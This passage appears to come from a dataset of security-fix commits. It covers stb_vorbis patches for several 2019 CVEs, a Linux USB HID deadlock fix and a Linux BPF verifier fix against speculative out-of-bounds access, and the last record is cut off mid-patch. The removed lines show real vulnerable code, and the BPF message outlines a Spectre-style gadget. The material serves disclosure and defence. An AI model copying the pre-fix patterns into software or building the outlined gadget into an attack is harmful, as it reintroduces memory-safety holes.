(p[j].x == p[j+1].x)\n+ return error(f, VORBIS_invalid_setup);\n for (j=0; j < g->values; ++j)\n g->sorted_order[j] = (uint8) p[j].id;\n // precompute the neighbors\n@@ -4020,6 +4029,7 @@ static int start_decoder(vorb *f)\n max_submaps = m->submaps;\n if (get_bits(f,1)) {\n m->coupling_steps = get_bits(f,8)+1;\n+ if (m->coupling_steps > f->channels) return error(f, VORBIS_invalid_setup);\n for (k=0; k < m->coupling_steps; ++k) {\n m->chan[k].magnitude = get_bits(f, ilog(f->channels-1));\n m->chan[k].angle = get_bits(f, ilog(f->channels-1));\n@@ -5386,6 +5396,12 @@ int stb_vorbis_get_samples_float(stb_vorbis *f, int channels, float **buffer, in\n #endif // STB_VORBIS_NO_PULLDATA_API\n \n /* Version history\n+ 1.17 - 2019-07-08 - fix CVE-2019-13217, -13218, -13219, -13220, -13221, -13223, -13223\n+ found with Mayhem by ForAllSecure\n+ 1.16 - 2019-03-04 - fix warnings\n+ 1.15 - 2019-02-07 - explicit failure if Ogg Skeleton data is found\n+ 1.14 - 2018-02-11 - delete bogus dealloca usage\n+ 1.13 - 2018-01-29 - fix truncation of last frame (hopefully)\n 1.12 - 2017-11-21 - limit residue begin/end to blocksize/2 to avoid large temp allocs in bad/corrupt files\n 1.11 - 2017-07-23 - fix MinGW compilation \n 1.10 - 2017-03-03 - more robust seeking; fix negative ilog(); clear error in open_memory", "sections": [{"section": "@@ -33,6 +33,7 @@\n // Timur Gagiev\n //\n // Partial history:\n+// 1.17 - 2019-07-08 - fix CVE-2019-13217..CVE-2019-13223 (by ForAllSecure)\n // 1.16 - 2019-03-04 - fix warnings\n // 1.15 - 2019-02-07 - explicit failure if Ogg Skeleton data is found\n // 1.14 - 2018-02-11 - delete bogus dealloca usage\n", "related": false}, {"section": "@@ -1202,8 +1203,10 @@ static int lookup1_values(int entries, int dim)\n int r = (int) floor(exp((float) log((float) entries) / dim));\n if ((int) floor(pow((float) r+1, dim)) <= entries) // (int) cast for MinGW warning;\n ++r; // floor() to avoid _ftol() when non-CRT\n- assert(pow((float) r+1, dim) > entries);\n- assert((int) floor(pow((float) r, dim)) <= entries); // (int),floor() as above\n+ if (pow((float) r+1, dim) <= entries)\n+ return -1;\n+ if ((int) floor(pow((float) r, dim)) > entries)\n+ return -1;\n return r;\n }\n \n", "related": false}, {"section": "@@ -2013,15 +2016,15 @@ static __forceinline void draw_line(float *output, int x0, int y0, int x1, int y\n ady -= abs(base) * adx;\n if (x1 > n) x1 = n;\n if (x < x1) {\n- LINE_OP(output[x], inverse_db_table[y]);\n+ LINE_OP(output[x], inverse_db_table[y&255]);\n for (++x; x < x1; ++x) {\n err += ady;\n if (err >= adx) {\n err -= adx;\n y += sy;\n } else\n y += base;\n- LINE_OP(output[x], inverse_db_table[y]);\n+ LINE_OP(output[x], inverse_db_table[y&255]);\n }\n }\n }\n", "related": false}, {"section": "@@ -3048,7 +3051,6 @@ static float *get_window(vorb *f, int len)\n len <<= 1;\n if (len == f->blocksize_0) return f->window[0];\n if (len == f->blocksize_1) return f->window[1];\n- assert(0);\n return NULL;\n }\n \n", "related": false}, {"section": "@@ -3454,6 +3456,7 @@ static int vorbis_finish_frame(stb_vorbis *f, int len, int left, int right)\n if (f->previous_length) {\n int i,j, n = f->previous_length;\n float *w = get_window(f, n);\n+ if (w == NULL) return 0;\n for (i=0; i < f->channels; ++i) {\n for (j=0; j < n; ++j)\n f->channel_buffers[i][left+j] =\n", "related": false}, {"section": "@@ -3695,6 +3698,7 @@ static int start_decoder(vorb *f)\n while (current_entry < c->entries) {\n int limit = c->entries - current_entry;\n int n = get_bits(f, ilog(limit));\n+ if (current_length >= 32) return error(f, VORBIS_invalid_setup);\n if (current_entry + n > (int) c->entries) { return error(f, VORBIS_invalid_setup); }\n memset(lengths + current_entry, current_length, n);\n current_entry += n;\n", "related": false}, {"section": "@@ -3798,7 +3802,9 @@ static int start_decoder(vorb *f)\n c->value_bits = get_bits(f, 4)+1;\n c->sequence_p = get_bits(f,1);\n if (c->lookup_type == 1) {\n- c->lookup_values = lookup1_values(c->entries, c->dimensions);\n+ int values = lookup1_values(c->entries, c->dimensions);\n+ if (values < 0) return error(f, VORBIS_invalid_setup);\n+ c->lookup_values = (uint32) values;\n } else {\n c->lookup_values = c->entries * c->dimensions;\n }\n", "related": false}, {"section": "@@ -3934,6 +3940,9 @@ static int start_decoder(vorb *f)\n p[j].id = j;\n }\n qsort(p, g->values, sizeof(p[0]), point_compare);\n+ for (j=0; j < g->values-1; ++j)\n+ if (p[j].x == p[j+1].x)\n+ return error(f, VORBIS_invalid_setup);\n for (j=0; j < g->values; ++j)\n g->sorted_order[j] = (uint8) p[j].id;\n // precompute the neighbors\n", "related": false}, {"section": "@@ -4020,6 +4029,7 @@ static int start_decoder(vorb *f)\n max_submaps = m->submaps;\n if (get_bits(f,1)) {\n m->coupling_steps = get_bits(f,8)+1;\n+ if (m->coupling_steps > f->channels) return error(f, VORBIS_invalid_setup);\n for (k=0; k < m->coupling_steps; ++k) {\n m->chan[k].magnitude = get_bits(f, ilog(f->channels-1));\n m->chan[k].angle = get_bits(f, ilog(f->channels-1));\n", "related": false}, {"section": "@@ -5386,6 +5396,12 @@ int stb_vorbis_get_samples_float(stb_vorbis *f, int channels, float **buffer, in\n #endif // STB_VORBIS_NO_PULLDATA_API\n \n /* Version history\n+ 1.17 - 2019-07-08 - fix CVE-2019-13217, -13218, -13219, -13220, -13221, -13223, -13223\n+ found with Mayhem by ForAllSecure\n+ 1.16 - 2019-03-04 - fix warnings\n+ 1.15 - 2019-02-07 - explicit failure if Ogg Skeleton data is found\n+ 1.14 - 2018-02-11 - delete bogus dealloca usage\n+ 1.13 - 2018-01-29 - fix truncation of last frame (hopefully)\n 1.12 - 2017-11-21 - limit residue begin/end to blocksize/2 to avoid large temp allocs in bad/corrupt files\n 1.11 - 2017-07-23 - fix MinGW compilation \n 1.10 - 2017-03-03 - more robust seeking; fix negative ilog(); clear error in open_memory", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "drivers/usb/gadget/function/f_hid.c", "commit_id": "072684e8c58d17e853f8e8b9f6d9ce2e58d2b036", "commit_message": "USB: gadget: f_hid: fix deadlock in f_hidg_write()\n\nIn f_hidg_write() the write_spinlock is acquired before calling\nusb_ep_queue() which causes a deadlock when dummy_hcd is being used.\nThis is because dummy_queue() callbacks into f_hidg_req_complete() which\ntries to acquire the same spinlock. This is (part of) the backtrace when\nthe deadlock occurs:\n\n 0xffffffffc06b1410 in f_hidg_req_complete\n 0xffffffffc06a590a in usb_gadget_giveback_request\n 0xffffffffc06cfff2 in dummy_queue\n 0xffffffffc06a4b96 in usb_ep_queue\n 0xffffffffc06b1eb6 in f_hidg_write\n 0xffffffff8127730b in __vfs_write\n 0xffffffff812774d1 in vfs_write\n 0xffffffff81277725 in SYSC_write\n\nFix this by releasing the write_spinlock before calling usb_ep_queue()\n\nReviewed-by: James Bottomley \nTested-by: James Bottomley \nCc: stable@vger.kernel.org # 4.11+\nFixes: 749494b6bdbb (\"usb: gadget: f_hid: fix: Move IN request allocation to set_alt()\")\nSigned-off-by: Radoslav Gerganov \nSigned-off-by: Felipe Balbi ", "patch": "@@ -391,20 +391,20 @@ static ssize_t f_hidg_write(struct file *file, const char __user *buffer,\n \treq->complete = f_hidg_req_complete;\n \treq->context = hidg;\n \n+\tspin_unlock_irqrestore(&hidg->write_spinlock, flags);\n+\n \tstatus = usb_ep_queue(hidg->in_ep, req, GFP_ATOMIC);\n \tif (status < 0) {\n \t\tERROR(hidg->func.config->cdev,\n \t\t\t\"usb_ep_queue error on int endpoint %zd\\n\", status);\n-\t\tgoto release_write_pending_unlocked;\n+\t\tgoto release_write_pending;\n \t} else {\n \t\tstatus = count;\n \t}\n-\tspin_unlock_irqrestore(&hidg->write_spinlock, flags);\n \n \treturn status;\n release_write_pending:\n \tspin_lock_irqsave(&hidg->write_spinlock, flags);\n-release_write_pending_unlocked:\n \thidg->write_pending = 0;\n \tspin_unlock_irqrestore(&hidg->write_spinlock, flags);\n ", "sections": [{"section": "@@ -391,20 +391,20 @@ static ssize_t f_hidg_write(struct file *file, const char __user *buffer,\n \treq->complete = f_hidg_req_complete;\n \treq->context = hidg;\n \n+\tspin_unlock_irqrestore(&hidg->write_spinlock, flags);\n+\n \tstatus = usb_ep_queue(hidg->in_ep, req, GFP_ATOMIC);\n \tif (status < 0) {\n \t\tERROR(hidg->func.config->cdev,\n \t\t\t\"usb_ep_queue error on int endpoint %zd\\n\", status);\n-\t\tgoto release_write_pending_unlocked;\n+\t\tgoto release_write_pending;\n \t} else {\n \t\tstatus = count;\n \t}\n-\tspin_unlock_irqrestore(&hidg->write_spinlock, flags);\n \n \treturn status;\n release_write_pending:\n \tspin_lock_irqsave(&hidg->write_spinlock, flags);\n-release_write_pending_unlocked:\n \thidg->write_pending = 0;\n \tspin_unlock_irqrestore(&hidg->write_spinlock, flags);\n ", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "kernel/bpf/verifier.c", "commit_id": "979d63d50c0c0f7bc537bf821e056cc9fe5abd38", "commit_message": "bpf: prevent out of bounds speculation on pointer arithmetic\n\nJann reported that the original commit back in b2157399cc98\n(\"bpf: prevent out-of-bounds speculation\") was not sufficient\nto stop CPU from speculating out of bounds memory access:\nWhile b2157399cc98 only focussed on masking array map access\nfor unprivileged users for tail calls and data access such\nthat the user provided index gets sanitized from BPF program\nand syscall side, there is still a more generic form affected\nfrom BPF programs that applies to most maps that hold user\ndata in relation to dynamic map access when dealing with\nunknown scalars or \"slow\" known scalars as access offset, for\nexample:\n\n - Load a map value pointer into R6\n - Load an index into R7\n - Do a slow computation (e.g. with a memory dependency) that\n loads a limit into R8 (e.g. load the limit from a map for\n high latency, then mask it to make the verifier happy)\n - Exit if R7 >= R8 (mispredicted branch)\n - Load R0 = R6[R7]\n - Load R0 = R6[R0]\n\nFor unknown scalars there are two options in the BPF verifier\nwhere we could derive knowledge from in order to guarantee\nsafe access to the memory: i) While /<=/>= variants won't\nallow to derive any lower or upper bounds from the unknown\nscalar where it would be safe to add it to the map value\npointer, it is possible through ==/!= test however. ii) another\noption is to transform the unknown scalar into a known scalar,\nfor example, through ALU ops combination such as R &= \nfollowed by R |= or any similar combination where the\noriginal information from the unknown scalar would be destroyed\nentirely leaving R with a constant. The initial slow load still\nprecedes the latter ALU ops on that register, so the CPU\nexecutes speculatively from that point. Once we have the known\nscalar, any compare operation would work then. A third option\nonly involving registers with known scalars could be crafted\nas described in [0] where a CPU port (e.g. Slow Int unit)\nwould be filled with many dependent computations such that\nthe subsequent condition depending on its outcome has to wait\nfor evaluation on its execution port and thereby executing\nspeculatively if the speculated code can be scheduled on a\ndifferent execution port, or any other form of mistraining\nas described in [1], for example. Given this is not limited\nto only unknown scalars, not only map but also stack access\nis affected since both is accessible for unprivileged users\nand could potentially be used for out of bounds access under\nspeculation.\n\nIn order to prevent any of these cases, the verifier is now\nsanitizing pointer arithmetic on the offset such that any\nout of bounds speculation would be masked in a way where the\npointer arithmetic result in the destination register will\nstay unchanged, meaning offset masked into zero similar as\nin array_index_nospec() case. With regards to implementation,\nthere are three options that were considered: i) new insn\nfor sanitation, ii) push/pop insn and sanitation as inlined\nBPF, iii) reuse of ax register and sanitation as inlined BPF.\n\nOption i) has the downside that we end up using from reserved\nbits in the opcode space, but also that we would require\neach JIT to emit masking as native arch opcodes meaning\nmitigation would have slow adoption till everyone implements\nit eventually which is counter-productive. Option ii) and iii)\nhave both in common that a temporary register is needed in\norder to implement the sanitation as inlined BPF since we\nare not allowed to modify the source register. While a push /\npop insn in ii) would be useful to have in any case, it\nrequires once again that every JIT needs to implement it\nfirst. While possible, amount of changes needed would also\nbe unsuitable for a -stable patch. Therefore, the path which\nhas fewer changes, less BPF instructions for the mitigation\nand does not require anything to be changed in the JITs is\noption iii) which this work is pursuing. The ax register is\nalready mapped to a register in all JITs (modulo arm32 where\nit's mapped to stack as various other BPF registers there)\nand used in constant blinding for JITs-only so far. It can\nbe reused for verifier rewrites under certain constraints.\nThe interpreter's tmp \"register\" has therefore been remapped\ninto extending the register set with hidden ax register and\nreusing that for a number of instructions that needed the\nprior temporary variable internally (e.g. div, mod). This\nallows for zero increase in stack space usage in the interpreter,\nand enables (restricted) generic use in rewrites otherwise as\nlong as such a patchlet does not make use of these instructions.\nThe sanitation mask is dynamic and relative to the offset the\nmap value or stack pointer currently holds.\n\nThere are various cases that need to be taken under consideration\nfor the masking, e.g. such operation could look as follows:\nptr += val or val += ptr or ptr -= val. Thus, the value to be\nsanitized could reside either in source or in destination\nregister, and the limit is different depending on whether\nthe ALU op is addition or subtraction and depending on the\ncurrent known and bounded offset. The limit is derived as\nfollows: limit := max_value_size - (smin_value + off). For\nsubtraction: limit := umax_value + off. This holds because\nwe do not allow any pointer arithmetic that would\ntemporarily go out of bounds or would have an unknown\nvalue with mixed signed bounds where it is unclear at\nverification time whether the actual runtime value would\nbe either negative or positive. For example, we have a\nderived map pointer value with constant offset and bounded\none, so limit based on smin_value works because the verifier\nrequires that statically analyzed arithmetic on the pointer\nmust be in bounds, and thus it checks if resulting\nsmin_value + off and umax_value + off is still within map\nvalue bounds at time of arithmetic in addition to time of\naccess. Similarly, for the case of stack access we derive\nthe limit as follows: MAX_BPF_STACK + off for subtraction\nand -off for the case of addition where off := ptr_reg->off +\nptr_reg->var_off.value. Subtraction is a special case for\nthe masking which can be in form of ptr += -val, ptr -= -val,\nor ptr -= val. In the first two cases where we know that\nthe value is negative, we need to temporarily negate the\nvalue in order to do the sanitation on a positive value\nwhere we later swap the ALU op, and restore original source\nregister if the value was in source.\n\nThe sanitation of pointer arithmetic alone is still not fully\nsufficient as is, since a scenario like the following could\nhappen ...\n\n PTR += 0x1000 (e.g. K-based imm)\n PTR -= BIG_NUMBER_WITH_SLOW_COMPARISON\n PTR += 0x1000\n PTR -= BIG_NUMBER_WITH_SLOW_COMPARISON\n [...]\n\n... which under speculation could end up as ...\n\n PTR += 0x1000\n PTR -= 0 [ truncated by mitigation ]\n PTR += 0x1000\n PTR -= 0 [ truncated by mitigation ]\n [...]\n\n... and therefore still access out of bounds. To prevent such\ncase, the verifier is also analyzing safety for potential out\nof bounds access under speculative execution. Meaning, it is\nalso simulating pointer access under truncation. We therefore\n\"branch off\" and push the current verification state after the\nALU operation with known 0 to the verification stack for later\nanalysis. Given the current path analysis succeeded it is\nlikely that the one under speculation can be pruned. In any\ncase, it is also subject to existing complexity limits and\ntherefore anything beyond this point will be rejected. In\nterms of pruning, it needs to be ensured that the verification\nstate from speculative execution simulation must never prune\na non-speculative execution path, therefore, we mark verifier\nstate accordingly at the time of push_stack(). If verifier\ndetects out of bounds access under speculative execution from\none of the possible paths that includes a truncation, it will\nreject such program.\n\nGiven we mask every reg-based pointer arithmetic for\nunprivileged programs, we've been looking into how it could\naffect real-world programs in terms of size increase. As the\nmajority of programs are targeted for privileged-only use\ncase, we've unconditionally enabled masking (with its alu\nrestrictions on top of it) for privileged programs for the\nsake of testing in order to check i) whether they get rejected\nin its current form, and ii) by how much the number of\ninstructions and size will increase. We've tested this by\nusing Katran, Cilium and test_l4lb from the kernel selftests.\nFor Katran we've evaluated balancer_kern.o, Cilium bpf_lxc.o\nand an older test object bpf_lxc_opt_-DUNKNOWN.o and l4lb\nwe've used test_l4lb.o as well as test_l4lb_noinline.o. We\nfound that none of the programs got rejected by the verifier\nwith this change, and that impact is rather minimal to none.\nbalancer_kern.o had 13,904 bytes (1,738 insns) xlated and\n7,797 bytes JITed before and after the change. Most complex\nprogram in bpf_lxc.o had 30,544 bytes (3,817 insns) xlated\nand 18,538 bytes JITed before and after and none of the other\ntail call programs in bpf_lxc.o had any changes either. For\nthe older bpf_lxc_opt_-DUNKNOWN.o object we found a small\nincrease from 20,616 bytes (2,576 insns) and 12,536 bytes JITed\nbefore to 20,664 bytes (2,582 insns) and 12,558 bytes JITed\nafter the change. Other programs from that object file had\nsimilar small increase. Both test_l4lb.o had no change and\nremained at 6,544 bytes (817 insns) xlated and 3,401 bytes\nJITed and for test_l4lb_noinline.o constant at 5,080 bytes\n(634 insns) xlated and 3,313 bytes JITed. This can be explained\nin that LLVM typically optimizes stack based pointer arithmetic\nby using K-based operations and that use of dynamic map access\nis not overly frequent. However, in future we may decide to\noptimize the algorithm further under known guarantees from\nbranch and value speculation. Latter seems also unclear in\nterms of prediction heuristics that today's CPUs apply as well\nas whether there could be collisions in e.g. the predictor's\nValue History/Pattern Table for triggering out of bounds access,\nthus masking is performed unconditionally at this point but could\nbe subject to relaxation later on. We were generally also\nbrainstorming various other approaches for mitigation, but the\nblocker was always lack of available registers at runtime and/or\noverhead for runtime tracking of limits belonging to a specific\npointer. Thus, we found this to be minimally intrusive under\ngiven constraints.\n\nWith that in place, a simple example with sanitized access on\nunprivileged load at post-verification time looks as follows:\n\n # bpftool prog dump xlated id 282\n [...]\n 28: (79) r1 = *(u64 *)(r7 +0)\n 29: (79) r2 = *(u64 *)(r7 +8)\n 30: (57) r1 &= 15\n 31: (79) r3 = *(u64 *)(r0 +4608)\n 32: (57) r3 &= 1\n 33: (47) r3 |= 1\n 34: (2d) if r2 > r3 goto pc+19\n 35: (b4) (u32) r11 = (u32) 20479 |\n 36: (1f) r11 -= r2 | Dynamic sanitation for pointer\n 37: (4f) r11 |= r2 | arithmetic with registers\n 38: (87) r11 = -r11 | containing bounded or known\n 39: (c7) r11 s>>= 63 | scalars in order to prevent\n 40: (5f) r11 &= r2 | out of bounds speculation.\n 41: (0f) r4 += r11 |\n 42: (71) r4 = *(u8 *)(r4 +0)\n 43: (6f) r4 <<= r1\n [...]\n\nFor the case where the scalar sits in the destination register\nas opposed to the source register, the following code is emitted\nfor the above example:\n\n [...]\n 16: (b4) (u32) r11 = (u32) 20479\n 17: (1f) r11 -= r2\n 18: (4f) r11 |= r2\n 19: (87) r11 = -r11\n 20: (c7) r11 s>>= 63\n 21: (5f) r2 &= r11\n 22: (0f) r2 += r0\n 23: (61) r0 = *(u32 *)(r2 +0)\n [...]\n\nJIT blinding example with non-conflicting use of r10:\n\n [...]\n d5:\tje 0x0000000000000106 _\n d7:\tmov 0x0(%rax),%edi |\n da:\tmov $0xf153246,%r10d | Index load from map value and\n e0:\txor $0xf153259,%r10 | (const blinded) mask with 0x1f.\n e7:\tand %r10,%rdi |_\n ea:\tmov $0x2f,%r10d |\n f0:\tsub %rdi,%r10 | Sanitized addition. Both use r10\n f3:\tor %rdi,%r10 | but do not interfere with each\n f6:\tneg %r10 | other. (Neither do these instructions\n f9:\tsar $0x3f,%r10 | interfere with the use of ax as temp\n fd:\tand %r10,%rdi | in interpreter.)\n 100:\tadd %rax,%rdi |_\n 103:\tmov 0x0(%rdi),%eax\n [...]\n\nTested that it fixes Jann's reproducer, and also checked that test_verifier\nand test_progs suite with interpreter, JIT and JIT with hardening enabled\non x86-64 and arm64 runs successfully.\n\n [0] Speculose: Analyzing the Security Implications of Speculative\n Execution in CPUs, Giorgi Maisuradze and Christian Rossow,\n https://arxiv.org/pdf/1801.04084.pdf\n\n [1] A Systematic Evaluation of Transient Execution Attacks and\n Defenses, Claudio Canella, Jo Van Bulck, Michael Schwarz,\n Moritz Lipp, Benjamin von Berg, Philipp Ortner, Frank Piessens,\n Dmitry Evtyushkin, Daniel Gruss,\n https://arxiv.org/pdf/1811.05441.pdf\n\nFixes: b2157399cc98 (\"bpf: prevent out-of-bounds speculation\")\nReported-by: Jann Horn \nSigned-off-by: Daniel Borkmann \nAcked-by: Alexei Starovoitov \nSigned-off-by: Alexei Starovoitov ", "patch": "@@ -710,6 +710,7 @@ static int copy_verifier_state(struct bpf_verifier_state *dst_state,\n \t\tfree_func_state(dst_state->frame[i]);\n \t\tdst_state->frame[i] = NULL;\n \t}\n+\tdst_state->speculative = src->speculative;\n \tdst_state->curframe = src->curframe;\n \tfor (i = 0; i <= src->curframe; i++) {\n \t\tdst = dst_state->frame[i];\n@@ -754,7 +755,8 @@ static int pop_stack(struct bpf_verifier_env *env, int *prev_insn_idx,\n }\n \n static struct bpf_verifier_state *push_stack(struct bpf_verifier_env *env,\n-\t\t\t\t\t int insn_idx, int prev_insn_idx)\n+\t\t\t\t\t int insn_idx, int prev_insn_idx,\n+\t\t\t\t\t bool speculative)\n {\n \tstruct bpf_verifier_state *cur = env->cur_state;\n \tstruct bpf_verifier_stack_elem *elem;\n@@ -772,6 +774,7 @@ static struct bpf_verifier_state *push_stack(struct bpf_verifier_env *env,\n \terr = copy_verifier_state(&elem->st, cur);\n \tif (err)\n \t\tgoto err;\n+\telem->st.speculative |= speculative;\n \tif (env->stack_size > BPF_COMPLEXITY_LIMIT_STACK) {\n \t\tverbose(env, \"BPF program is too complex\\n\");\n \t\tgoto err;\n@@ -3067,6 +3070,102 @@ static bool check_reg_sane_offset(struct bpf_verifier_env *env,\n \treturn true;\n }\n \n+static struct bpf_insn_aux_data *cur_aux(struct bpf_verifier_env *env)\n+{\n+\treturn &env->insn_aux_data[env->insn_idx];\n+}\n+\n+static int retrieve_ptr_limit(const struct bpf_reg_state *ptr_reg,\n+\t\t\t u32 *ptr_limit, u8 opcode, bool off_is_neg)\n+{\n+\tbool mask_to_left = (opcode == BPF_ADD && off_is_neg) ||\n+\t\t\t (opcode == BPF_SUB && !off_is_neg);\n+\tu32 off;\n+\n+\tswitch (ptr_reg->type) {\n+\tcase PTR_TO_STACK:\n+\t\toff = ptr_reg->off + ptr_reg->var_off.value;\n+\t\tif (mask_to_left)\n+\t\t\t*ptr_limit = MAX_BPF_STACK + off;\n+\t\telse\n+\t\t\t*ptr_limit = -off;\n+\t\treturn 0;\n+\tcase PTR_TO_MAP_VALUE:\n+\t\tif (mask_to_left) {\n+\t\t\t*ptr_limit = ptr_reg->umax_value + ptr_reg->off;\n+\t\t} else {\n+\t\t\toff = ptr_reg->smin_value + ptr_reg->off;\n+\t\t\t*ptr_limit = ptr_reg->map_ptr->value_size - off;\n+\t\t}\n+\t\treturn 0;\n+\tdefault:\n+\t\treturn -EINVAL;\n+\t}\n+}\n+\n+static int sanitize_ptr_alu(struct bpf_verifier_env *env,\n+\t\t\t struct bpf_insn *insn,\n+\t\t\t const struct bpf_reg_state *ptr_reg,\n+\t\t\t struct bpf_reg_state *dst_reg,\n+\t\t\t bool off_is_neg)\n+{\n+\tstruct bpf_verifier_state *vstate = env->cur_state;\n+\tstruct bpf_insn_aux_data *aux = cur_aux(env);\n+\tbool ptr_is_dst_reg = ptr_reg == dst_reg;\n+\tu8 opcode = BPF_OP(insn->code);\n+\tu32 alu_state, alu_limit;\n+\tstruct bpf_reg_state tmp;\n+\tbool ret;\n+\n+\tif (env->allow_ptr_leaks || BPF_SRC(insn->code) == BPF_K)\n+\t\treturn 0;\n+\n+\t/* We already marked aux for masking from non-speculative\n+\t * paths, thus we got here in the first place. We only care\n+\t * to explore bad access from here.\n+\t */\n+\tif (vstate->speculative)\n+\t\tgoto do_sim;\n+\n+\talu_state = off_is_neg ? BPF_ALU_NEG_VALUE : 0;\n+\talu_state |= ptr_is_dst_reg ?\n+\t\t BPF_ALU_SANITIZE_SRC : BPF_ALU_SANITIZE_DST;\n+\n+\tif (retrieve_ptr_limit(ptr_reg, &alu_limit, opcode, off_is_neg))\n+\t\treturn 0;\n+\n+\t/* If we arrived here from different branches with different\n+\t * limits to sanitize, then this won't work.\n+\t */\n+\tif (aux->alu_state &&\n+\t (aux->alu_state != alu_state ||\n+\t aux->alu_limit != alu_limit))\n+\t\treturn -EACCES;\n+\n+\t/* Corresponding fixup done in fixup_bpf_calls(). */\n+\taux->alu_state = alu_state;\n+\taux->alu_limit = alu_limit;\n+\n+do_sim:\n+\t/* Simulate and find potential out-of-bounds access under\n+\t * speculative execution from truncation as a result of\n+\t * masking when off was not within expected range. If off\n+\t * sits in dst, then we temporarily need to move ptr there\n+\t * to simulate dst (== 0) +/-= ptr. Needed, for example,\n+\t * for cases where we use K-based arithmetic in one direction\n+\t * and truncated reg-based in the other in order to explore\n+\t * bad access.\n+\t */\n+\tif (!ptr_is_dst_reg) {\n+\t\ttmp = *dst_reg;\n+\t\t*dst_reg = *ptr_reg;\n+\t}\n+\tret = push_stack(env, env->insn_idx + 1, env->insn_idx, true);\n+\tif (!ptr_is_dst_reg)\n+\t\t*dst_reg = tmp;\n+\treturn !ret ? -EFAULT : 0;\n+}\n+\n /* Handles arithmetic on a pointer and a scalar: computes new min/max and var_off.\n * Caller should also handle BPF_MOV case separately.\n * If we return -EACCES, caller may want to try again treating pointer as a\n@@ -3087,6 +3186,7 @@ static int adjust_ptr_min_max_vals(struct bpf_verifier_env *env,\n \t umin_ptr = ptr_reg->umin_value, umax_ptr = ptr_reg->umax_value;\n \tu32 dst = insn->dst_reg, src = insn->src_reg;\n \tu8 opcode = BPF_OP(insn->code);\n+\tint ret;\n \n \tdst_reg = ®s[dst];\n \n@@ -3142,6 +3242,11 @@ static int adjust_ptr_min_max_vals(struct bpf_verifier_env *env,\n \n \tswitch (opcode) {\n \tcase BPF_ADD:\n+\t\tret = sanitize_ptr_alu(env, insn, ptr_reg, dst_reg, smin_val < 0);\n+\t\tif (ret < 0) {\n+\t\t\tverbose(env, \"R%d tried to add from different maps or paths\\n\", dst);\n+\t\t\treturn ret;\n+\t\t}\n \t\t/* We can take a fixed offset as long as it doesn't overflow\n \t\t * the s32 'off' field\n \t\t */\n@@ -3192,6 +3297,11 @@ static int adjust_ptr_min_max_vals(struct bpf_verifier_env *env,\n \t\t}\n \t\tbreak;\n \tcase BPF_SUB:\n+\t\tret = sanitize_ptr_alu(env, insn, ptr_reg, dst_reg, smin_val < 0);\n+\t\tif (ret < 0) {\n+\t\t\tverbose(env, \"R%d tried to sub from different maps or paths\\n\", dst);\n+\t\t\treturn ret;\n+\t\t}\n \t\tif (dst_reg == off_reg) {\n \t\t\t/* scalar -= pointer. Creates an unknown scalar */\n \t\t\tverbose(env, \"R%d tried to subtract pointer from scalar\\n\",\n@@ -4389,7 +4499,8 @@ static int check_cond_jmp_op(struct bpf_verifier_env *env,\n \t\t}\n \t}\n \n-\tother_branch = push_stack(env, *insn_idx + insn->off + 1, *insn_idx);\n+\tother_branch = push_stack(env, *insn_idx + insn->off + 1, *insn_idx,\n+\t\t\t\t false);\n \tif (!other_branch)\n \t\treturn -EFAULT;\n \tother_branch_regs = other_branch->frame[other_branch->curframe]->regs;\n@@ -5499,6 +5610,12 @@ static bool states_equal(struct bpf_verifier_env *env,\n \tif (old->curframe != cur->curframe)\n \t\treturn false;\n \n+\t/* Verification state from speculative execution simulation\n+\t * must never prune a non-speculative execution one.\n+\t */\n+\tif (old->speculative && !cur->speculative)\n+\t\treturn false;\n+\n \t/* for states to be equal callsites have to be the same\n \t * and all frame states need to be equivalent\n \t */\n@@ -5700,6 +5817,7 @@ static int do_check(struct bpf_verifier_env *env)\n \tif (!state)\n \t\treturn -ENOMEM;\n \tstate->curframe = 0;\n+\tstate->speculative = false;\n \tstate->frame[0] = kzalloc(sizeof(struct bpf_func_state), GFP_KERNEL);\n \tif (!state->frame[0]) {\n \t\tkfree(state);\n@@ -5739,8 +5857,10 @@ static int do_check(struct bpf_verifier_env *env)\n \t\t\t/* found equivalent state, can prune the search */\n \t\t\tif (env->log.level) {\n \t\t\t\tif (do_print_state)\n-\t\t\t\t\tverbose(env, \"\\nfrom %d to %d: safe\\n\",\n-\t\t\t\t\t\tenv->prev_insn_idx, env->insn_idx);\n+\t\t\t\t\tverbose(env, \"\\nfrom %d to %d%s: safe\\n\",\n+\t\t\t\t\t\tenv->prev_insn_idx, env->insn_idx,\n+\t\t\t\t\t\tenv->cur_state->speculative ?\n+\t\t\t\t\t\t\" (speculative execution)\" : \"\");\n \t\t\t\telse\n \t\t\t\t\tverbose(env, \"%d: safe\\n\", env->insn_idx);\n \t\t\t}\n@@ -5757,8 +5877,10 @@ static int do_check(struct bpf_verifier_env *env)\n \t\t\tif (env->log.level > 1)\n \t\t\t\tverbose(env, \"%d:\", env->insn_idx);\n \t\t\telse\n-\t\t\t\tverbose(env, \"\\nfrom %d to %d:\",\n-\t\t\t\t\tenv->prev_insn_idx, env->insn_idx);\n+\t\t\t\tverbose(env, \"\\nfrom %d to %d%s:\",\n+\t\t\t\t\tenv->prev_insn_idx, env->insn_idx,\n+\t\t\t\t\tenv->cur_state->speculative ?\n+\t\t\t\t\t\" (speculative execution)\" : \"\");\n \t\t\tprint_verifier_state(env, state->frame[state->curframe]);\n \t\t\tdo_print_state = false;\n \t\t}\n@@ -6750,6 +6872,57 @@ static int fixup_bpf_calls(struct bpf_verifier_env *env)\n \t\t\tcontinue;\n \t\t}\n \n+\t\tif (insn->code == (BPF_ALU64 | BPF_ADD | BPF_X) ||\n+\t\t insn->code == (BPF_ALU64 | BPF_SUB | BPF_X)) {\n+\t\t\tconst u8 code_add = BPF_ALU64 | BPF_ADD | BPF_X;\n+\t\t\tconst u8 code_sub = BPF_ALU64 | BPF_SUB | BPF_X;\n+\t\t\tstruct bpf_insn insn_buf[16];\n+\t\t\tstruct bpf_insn *patch = &insn_buf[0];\n+\t\t\tbool issrc, isneg;\n+\t\t\tu32 off_reg;\n+\n+\t\t\taux = &env->insn_aux_data[i + delta];\n+\t\t\tif (!aux->alu_state)\n+\t\t\t\tcontinue;\n+\n+\t\t\tisneg = aux->alu_state & BPF_ALU_NEG_VALUE;\n+\t\t\tissrc = (aux->alu_state & BPF_ALU_SANITIZE) ==\n+\t\t\t\tBPF_ALU_SANITIZE_SRC;\n+\n+\t\t\toff_reg = issrc ? insn->src_reg : insn->dst_reg;\n+\t\t\tif (isneg)\n+\t\t\t\t*patch++ = 